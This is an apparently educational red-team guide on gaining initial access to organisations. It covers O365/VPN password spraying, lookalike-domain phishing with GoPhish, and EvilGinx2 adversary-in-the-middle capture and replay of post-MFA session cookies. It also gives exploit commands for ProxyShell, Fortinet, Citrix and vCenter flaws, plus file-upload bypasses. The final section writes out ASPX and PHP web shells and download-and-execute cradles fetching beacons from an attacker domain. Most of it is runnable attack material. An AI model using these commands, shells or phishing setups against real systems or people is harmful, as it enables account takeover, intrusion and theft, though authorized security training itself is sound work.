initial-access
04 — Initial Access
BLUF: Every technique in pillars 1–7 assumes you already have a shell. This file covers how you get it. Initial access is the hardest phase to teach in a lab because it requires realistic targets — real portals, real email filters, real MFA. Study the methodology here, practice on authorized targets, and recognize the pattern when you hit it in the field.
Initial Access Decision Tree
[External recon complete]
|
+---> Login portals found? ----> [Password spray] (Section 3)
|
+---> Email addresses found? --> [Phishing] (Section 4-5)
|
+---> Public-facing apps? -----> [Exploit chain] (Section 6)
|
+---> Web application? ---------> [Web vuln → shell] (Section 7)
|
+---> Physical access in scope? -> [USB / Badge clone] (out of scope for this file)
MITRE ATT&CK Mapping
Map the behavior that was actually exercised. A tool, delivery platform, protocol, vulnerability, or successful outcome is not itself the technique.
| Behavior | ATT&CK mapping | Mapping condition |
|---|---|---|
| Password spray | T1110.003 — Password Spraying | Controlled attempts across synthetic accounts |
| Use of a valid obtained account | T1078 — Valid Accounts | Map separately only when the account is actually used |
| Spearphishing attachment | T1566.001 — Spearphishing Attachment | The attachment is the delivery behavior |
| Spearphishing link | T1566.002 — Spearphishing Link | The link is the delivery behavior |
| Exploit an owned public-facing application | T1190 — Exploit Public-Facing Application | Exploitation occurs against the intentionally vulnerable lab application |
| Place a web shell | T1505.003 — Web Shell | Post-exploitation server persistence; separate from the initial exploit |
| Capture a legitimate session cookie | T1539 — Steal Web Session Cookie | The cookie is stolen or intercepted |
| Replay a captured session cookie | T1550.004 — Web Session Cookie | The captured cookie is used to authenticate |
| Forge a new web cookie | T1606.001 — Web Cookies | A new cookie is cryptographically generated rather than intercepted |
| HTTPS carries command-and-control traffic | T1071.001 — Web Protocols | Map only when the web protocol actually carries C2 traffic |
Conversion status: The operational sections below are legacy reference material, not approved lab exercises. Before using any part, rewrite it as a card in TTP Validation Catalog with synthetic identities or canary data, exact scope, expected telemetry, a proof limit, a stop condition, and verified cleanup. Do not collect real credentials or session cookies, target real people, establish persistence, or continue beyond the approved proof.
Section 1 — External Recon for Initial Access
Before choosing a vector, build a target profile. You need: login portals, email format, technology stack, and employee list.
# --- Technology fingerprinting ---
# What's running on the perimeter?
nmap -sV -sC -p 80,443,8080,8443,8888,10443 target.com
whatweb https://target.com # CMS, framework, server headers
curl -si https://target.com | grep -i "server\|x-powered-by\|via\|x-aspnet"
# --- Login portal discovery ---
# OWA (Outlook Web App)
curl -si https://mail.target.com/owa/
curl -si https://autodiscover.target.com/autodiscover/autodiscover.xml
# Azure AD / O365
curl -si "https://login.microsoftonline.com/target.com/.well-known/openid-configuration"
# Returns tenant ID if domain is O365-federated
# VPN portals
for sub in vpn sslvpn remote access gateway pulse anyconnect; do
host $sub.target.com 2>/dev/null | grep 'has address' && echo "Found: $sub.target.com"
done
# Citrix, RDP gateway, Webex
nmap -p 443 --script http-title $(dig +short citrix.target.com)
# --- Email format discovery ---
# Hunter.io, LinkedIn, OSINT sources
# Common patterns: firstname.lastname, f.lastname, firstnamelastname
# Verify email format with SMTP VRFY (rarely works) or O365 user enum
python3 o365spray.py --validate --domain target.com # confirm O365 tenant
python3 o365spray.py --enum -U userlist.txt --domain target.com # validate usernames
# --- Employee list (LinkedIn OSINT) ---
# linkedin2username: generates username variations from LinkedIn profiles
python3 linkedin2username.py -c 'Target Company' -n 100 # scrape LinkedIn
# Outputs: first.last, flast, firstlast variations
Section 2 — Identify MFA Posture
Before spraying or phishing, confirm what MFA (if any) is deployed. This determines whether you need EvilGinx2 or whether a simple spray is sufficient.
# O365: Check if MFA is enforced for external auth
# Try logging in manually to https://login.microsoftonline.com — watch the prompt flow
# No MFA prompt after password = Legacy Auth allowed (spray works cleanly)
# MFA prompt = you need EvilGinx2 or app password spray
# Check if legacy authentication protocols are enabled (IMAP, SMTP, POP3)
# These bypass MFA entirely on older O365 configs
# Tool: MFASweep
Invoke-MFASweep -Username user@target.com -Password Password123
# Check Conditional Access: does the org enforce MFA for all apps?
# If not — some apps (SharePoint mobile, IMAP) may bypass it
# Enumerated by attempting auth against legacy endpoints
MFA bypass decision:
| MFA State | Vector |
|---|---|
| No MFA | Password spray directly |
| MFA but legacy auth enabled | Spray via IMAP/SMTP endpoints |
| MFA enforced, no legacy auth | EvilGinx2 adversary-in-the-middle phishing |
| Phishing-resistant MFA (FIDO2, passkey) | Social engineering, physical access, or supply chain |
Section 3 — External Password Spraying
Password spraying tests one or a few passwords across many accounts. The key constraint is lockout threshold — never exceed it.
# Step 1: Enumerate lockout policy before spraying
# O365: query the tenant's lockout settings (usually 10 attempts before lockout)
# Default: 10 attempts, 60 second window → spray 1 password per account per ~30 min
# Step 2: Build a target username list
# Use LinkedIn OSINT, o365spray enum, or company directory
cat > users.txt << 'EOF'
john.smith@target.com
jane.doe@target.com
...
EOF
# Step 3: Choose passwords
# Season + year, Company + year, Welcome1, Password1!, Summer2025
# Check previous breach data for the domain: dehashed, haveibeenpwned
OWA / Exchange Spray
# SprayingToolkit (OWA, EWS, Autodiscover)
python3 sprayingtoolkit.py owa --target https://mail.target.com/owa \
-u users.txt -p 'Winter2025!' --delay 30
# Ruler (Exchange — also checks for legacy auth)
ruler -domain target.com -username user -password 'Password1' brute \
--users users.txt --passwords passwords.txt --delay 30 --verbose
O365 / Azure AD Spray
# o365spray (supports multiple O365 auth endpoints)
python3 o365spray.py --spray -U users.txt -P 'Spring2025!' \
--domain target.com --rate 30
# TREVORspray (distributed, supports rotating proxies)
trevorspray -u users.txt -p 'Password1!' -t target.com \
--delay 45 --jitter 10
# MSOLSpray (legacy MSOL endpoint — bypasses some Conditional Access)
Invoke-MSOLSpray -UserList users.txt -Password 'Welcome1!' -OutFile hits.txt
# MailSniper — spray OWA and enumerate GAL
Invoke-PasswordSprayOWA -ExchHostname mail.target.com -UserList users.txt -Password 'Fall2025!'
VPN / Citrix / Pulse Spray
# Citrix StoreFront
python3 spray.py -t https://citrix.target.com/citrix/StoreWeb -u users.txt -p 'Password1!'
# Pulse Secure VPN
curl -s -X POST https://vpn.target.com/dana-na/auth/url_default/login.cgi \
-d "username=testuser&password=Password1&tz_offset=0"
# GlobalProtect (PAN-OS)
python3 gpspray.py --host vpn.target.com -U users.txt -P 'Winter2025!'
# ADFS
# ADFS uses WSTrust — spray via Invoke-ADFSSecurityAssessment or MailSniper
Invoke-ADFSSecurityAssessment -ADFSFqdn adfs.target.com -Users users.txt -Passwords passwords.txt
Spray OPSEC rules:
- 1 password per account per 30 minutes minimum
- Spray from a residential IP or proxy — datacenter IPs trigger Microsoft's smart lockout
- Check
net accounts /domainor the O365 tenant's lockout threshold before starting - Stop immediately if accounts start locking — threshold calculation was wrong
Section 4 — Phishing Infrastructure Setup
Domain Setup
# Buy a typosquat or lookalike domain:
# target-helpdesk.com, targetcorp-it.com, secure-target.com
# Age the domain: register 2+ weeks before the engagement (DNS reputation)
# Categorize it: load the domain with legitimate content for a week before use
# Let's Encrypt cert (required — no browser warnings)
certbot --standalone -d phish.targetlookalike.com -m ops@yourdomain.com --agree-tos
# Check domain reputation before use
curl "https://www.virustotal.com/vtapi/v2/url/report?apikey=KEY&resource=https://phish.domain.com"
# Target: 0 detections, positive categorization (news, tech, business)
GoPhish Setup (Credential Harvest + Click Tracking)
# Install GoPhish
wget https://github.com/gophish/gophish/releases/latest/download/gophish-linux-amd64.zip
unzip gophish-*.zip && chmod +x gophish
# Edit config.json
{
"admin_server": { "listen_url": "127.0.0.1:3333", "use_tls": true },
"phish_server": { "listen_url": "0.0.0.0:443", "use_tls": true,
"cert_path": "/etc/letsencrypt/live/phish.domain.com/fullchain.pem",
"key_path": "/etc/letsencrypt/live/phish.domain.com/privkey.pem"
}
}
sudo ./gophish
# Admin UI: https://127.0.0.1:3333 (tunnel via SSH if on remote VPS)
# Default credentials: admin / [printed in console on first launch — change immediately]
# GoPhish workflow:
# 1. Sending Profile — configure SMTP relay (SendGrid, Mailgun, or self-hosted Postfix)
# 2. Landing Page — clone the target login page (GoPhish has a built-in page importer)
# 3. Email Template — craft the pretex email
# 4. Users & Groups — import target email list
# 5. Campaign — tie everything together, set send rate, launch
Email Template Best Practices
Subject lines that work:
"Action Required: Verify your account before [DATE]"
"IT Security: Multi-Factor Authentication enrollment required"
"Your VPN certificate expires in 48 hours — renew now"
"DocuSign: [Name] has sent you a document for signature"
"Your password will expire in 3 days"
Pretext elements:
- Use the correct logo, color scheme, and font of the cloned portal
- Reference the real company name and IT department name (LinkedIn OSINT)
- Include a plausible deadline
- Use a sender address that matches expected IT comms (it-helpdesk@targetlookalike.com)
- Include a footer with company address, unsubscribe link (legitimacy signal)
Section 5 — EvilGinx2 (MFA Bypass via Adversary-in-the-Middle)
EvilGinx2 proxies the victim's login through a real authentication server, capturing the session cookie after MFA completion. The attacker gets a valid, post-MFA session token — not just a password.
# Install EvilGinx2
git clone https://github.com/kgretzky/evilginx2
cd evilginx2 && make
# Configure
./evilginx2 -p ./phishlets -c /etc/letsencrypt/
# Inside evilginx2 console:
: config domain phish.targetlookalike.com
: config ip YOUR_VPS_IP
# Select and enable a phishlet (built-in: o365, okta, github, linkedin, twitter)
: phishlets hostname o365 phish.targetlookalike.com
: phishlets enable o365
# Create a lure (the URL you send to the victim)
: lures create o365
: lures get-url 0
# Returns: https://phish.targetlookalike.com/UNIQUEPATH — this is your phish link
# Monitor captures
: sessions
: sessions 1 # view captured session details + cookies
# Extract captured cookies and replay them
# Cookie is in JSON format — import to browser via EditThisCookie extension
# Or use requests in Python:
import requests
session = requests.Session()
session.cookies.set('ESTSAUTHPERSISTENT', 'CAPTURED_COOKIE_VALUE', domain='.login.microsoftonline.com')
r = session.get('https://outlook.office.com/mail/')
print(r.status_code) # 200 = valid session, you're in as the victim
# Or use AADInternals to enumerate the tenant with the captured token
Import-Module AADInternals
$token = Get-AADIntAccessTokenForEXO -Cookie 'ESTSAUTHPERSISTENT=CAPTURED_VALUE'
Get-AADIntTenantDetails -AccessToken $token
EvilGinx2 OPSEC:
- Use a domain that's at least 2 weeks old — fresh domains get flagged by O365 Safe Links
- Enable
unauth_urlredirect to a legitimate page — scanners following your phish link should see real content - The phish URL is single-use by default — regenerate if burned
- Microsoft's ATP Safe Links will scan your URL — configure EvilGinx2 to detect and serve a decoy to scanner IPs
Section 6 — Public Exploit Initial Access
When password spraying and phishing fail, search the perimeter for exploitable public vulnerabilities.
Reconnaissance for CVEs
# Fingerprint exact version numbers
nmap -sV --version-intensity 9 target.com
whatweb https://target.com
curl -si https://target.com | grep -i "server\|x-powered-by\|x-owa-version\|x-aspnet"
# Check known vulnerability databases for the fingerprinted version
# ExchangeVersion header → check against ProxyShell/ProxyLogon affected versions
# Citrix ADC version → check against CVE-2019-19781 (Shitrix) or CVE-2023-3519
# Shodan for passive fingerprinting (no active probing)
shodan host TARGET_IP
Exchange — ProxyShell (CVE-2021-34473 / 34523 / 31207)
# Check if Exchange is vulnerable (check version, not just patch)
curl -si https://mail.target.com/autodiscover/autodiscover.json?@target.com/owa/&Email=autodiscover/autodiscover.json%3F@target.com
# ProxyShell PoC (drops web shell via SYSTEM-level SSRF)
python3 proxyshell.py -u https://mail.target.com -e admin@target.com
# If successful: web shell at /aspnet_client/[random].aspx
# Upload a legitimate-looking ASPX reverse shell or stage your C2 payload
curl -s https://mail.target.com/aspnet_client/shell.aspx?cmd=whoami
Citrix ADC (CVE-2023-3519 — unauthenticated RCE)
# Fingerprint Citrix version
curl -si https://citrix.target.com/vpn/index.html | grep -i "citrix\|ns_build"
# CVE-2023-3519 RCE (affects NetScaler ADC 13.0 before 13.0-91.13)
# Public PoC: https://github.com/telekom-security/cve-2023-3519-citrix-scanner
python3 citrix_scan.py --url https://citrix.target.com
# If vulnerable: execute OS commands as nsroot
Fortinet (CVE-2022-40684 — auth bypass, CVE-2023-27997 — pre-auth heap overflow)
# CVE-2022-40684: Authentication bypass on FortiOS, FortiProxy, FortiSwitchManager
curl -k -X PUT https://target.com/api/v2/cmdb/system/admin/admin \
-H "User-Agent: Report Runner" \
-H "Content-Type: application/json" \
-H "Forwarded: for=\"[127.0.0.1]:8888\"" \
-d '{"ssh-public-key1": "ssh-rsa AAAAB3... operator@redteam"}'
# If vulnerable: your SSH key added to admin account
VMware vCenter (CVE-2021-21985 / CVE-2021-22005)
# CVE-2021-22005: unauthenticated file upload → RCE (vCenter 6.7 / 7.0)
curl -s -X POST https://vcenter.target.com/analytics/telemetry/ph/api/hyper/send?_c&_i=test \
--data-binary @payload.json -H "Content-Type: application/json"
# Public scanner
python3 CVE-2021-22005.py https://vcenter.target.com
Automated Perimeter Scanning
# nuclei — fast vulnerability scanner with CVE templates
nuclei -u https://target.com -t cves/ -severity critical,high -o nuclei_output.txt
# Check specific product categories
nuclei -u https://target.com -tags exchange,citrix,fortinet,vmware,confluence
# Metasploit for specific CVEs
msfconsole -q
msf > search exchange proxyshell
msf > use exploit/windows/http/exchange_proxyshell_rce
msf > set RHOSTS mail.target.com
msf > set LHOST ATTACKER_IP
msf > run
Section 7 — Web Application Initial Access
When the perimeter app has no known CVE but is custom-built, find a web vulnerability that achieves code execution.
# Fast recon
gobuster dir -u https://target.com -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php,aspx,html,txt -o gobuster.txt
ffuf -u https://target.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt
# Identify upload endpoints — most reliable path to shell
# - File upload forms
# - Profile picture upload
# - Document/attachment upload
# - API endpoints accepting multipart/form-data
# Test upload bypass: if .php blocked, try .phtml, .php5, .shtml, .phar
# If extension checked but not MIME: send .php file with Content-Type: image/jpeg
# If content checked: embed PHP in valid JPEG EXIF data
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg -o shell.php.jpg
# SSRF → internal RCE path
# Find parameters that fetch URLs (url=, src=, path=, redirect=, next=)
# Internal targets: http://169.254.169.254/latest/meta-data/ (AWS IMDS)
# Internal services: http://127.0.0.1:8080/manager (Tomcat), Redis, MongoDB
# SQLi → OS command execution (MSSQL xp_cmdshell, MySQL outfile)
# SQLi → read web.config or .env for credentials
sqlmap -u "https://target.com/api?id=1" --dbs --batch
sqlmap -u "https://target.com/api?id=1" --os-shell --batch # MSSQL only
Section 8 — Foothold Stabilization: Web Shell → C2
Once you have code execution via web shell or RCE, your first priority is getting a stable, persistent beacon before anything else.
# Step 1: Confirm execution and host context
# Minimal web shell (ASPX — Windows IIS):
<%@ Page Language="C#" %>
<% Response.Write(System.Diagnostics.Process.Start(
new System.Diagnostics.ProcessStartInfo("cmd.exe","/c "+Request["c"]){
UseShellExecute=false, RedirectStandardOutput=true
}).StandardOutput.ReadToEnd()); %>
# Minimal web shell (PHP — Linux/Windows Apache/nginx):
<?php system($_GET['c']); ?>
# Step 2: Determine network egress
# What can this host reach outbound?
curl -si http://ifconfig.me # can it reach internet directly?
curl -si https://ifconfig.me # HTTPS allowed?
# If neither works: DNS only? Or internal proxy?
# Check: env | grep -i proxy; cat /etc/environment
# Step 3: Stage your C2 beacon (Windows — PowerShell download cradle)
# Transfer Sliver/CS shellcode without touching disk:
$wc = New-Object System.Net.WebClient
$wc.Headers.Add("User-Agent","Mozilla/5.0")
$bytes = $wc.DownloadData("https://redirect.yourdomain.com/update.png")
[System.Reflection.Assembly]::Load($bytes) # in-memory load (for .NET beacons)
# Or use certutil for binary staging (fallback):
certutil -urlcache -f https://redirect.yourdomain.com/update.bin C:\Windows\Temp\svc.exe
C:\Windows\Temp\svc.exe
# Step 4: Stage your C2 beacon (Linux)
# Download and execute in-memory (no disk write):
curl -s https://redirect.yourdomain.com/update | bash
# Or stage via /dev/shm (memory-backed filesystem):
curl -s https://redirect.yourdomain.com/beacon -o /dev/shm/.cache && chmod +x /dev/shm/.cache && /dev/shm/.cache &
# Step 5: Verify beacon callback in C2 console before touching anything else
# Once beacon is live:
# - Confirm username, hostname, PID, architecture
# - Set appropriate sleep + jitter for the environment
# - Deploy backup beacon with long sleep before starting main ops
Stabilization OPSEC
1. NEVER use the web shell for ops — get a real beacon first, then kill the shell
2. Remove the web shell after beacon is live (document its path first for the report)
3. Set sleep ≥ 60s with ≥ 25% jitter before running any post-exploitation
4. Deploy a backup beacon (different host, different C2 profile, 24h sleep) before proceeding
5. Confirm what EDR/AV is running before executing anything (see Windows AI1 Phase 1)
6. Check proxy/firewall egress: what ports can the host reach? (80/443/53 — which works?)
Pre-Engagement Initial Access Checklist
[ ] External recon complete — login portals, email format, tech stack identified
[ ] MFA posture confirmed — determines spray vs EvilGinx2
[ ] Spray lockout threshold known — check before executing
[ ] Domain for phishing aged 14+ days, TLS cert issued, categorized
[ ] GoPhish configured with custom sending profile and landing page
[ ] EvilGinx2 phishlet tested against the target portal in lab first
[ ] CVE list compiled for fingerprinted versions
[ ] Nuclei scan complete on perimeter
[ ] Backup C2 deployed before starting main ops
[ ] Web shell removed after beacon confirmed live
Resources
| Resource | Purpose |
|---|---|
| GoPhish | Phishing campaign management |
| EvilGinx2 | Adversary-in-the-middle MFA bypass |
| o365spray | O365 user enumeration + spray |
| TREVORspray | Distributed O365 spray via rotating proxies |
| MSOLSpray | Legacy MSOL endpoint spray |
| SprayingToolkit | OWA / Lync / ADFS spray |
| linkedin2username | LinkedIn OSINT → username list |
| nuclei | Fast perimeter CVE scanning |
| Seclists | Wordlists for spray, enum, fuzzing |
| MailSniper | Exchange/O365 recon + spray |
Part of the Red Teaming 101 series.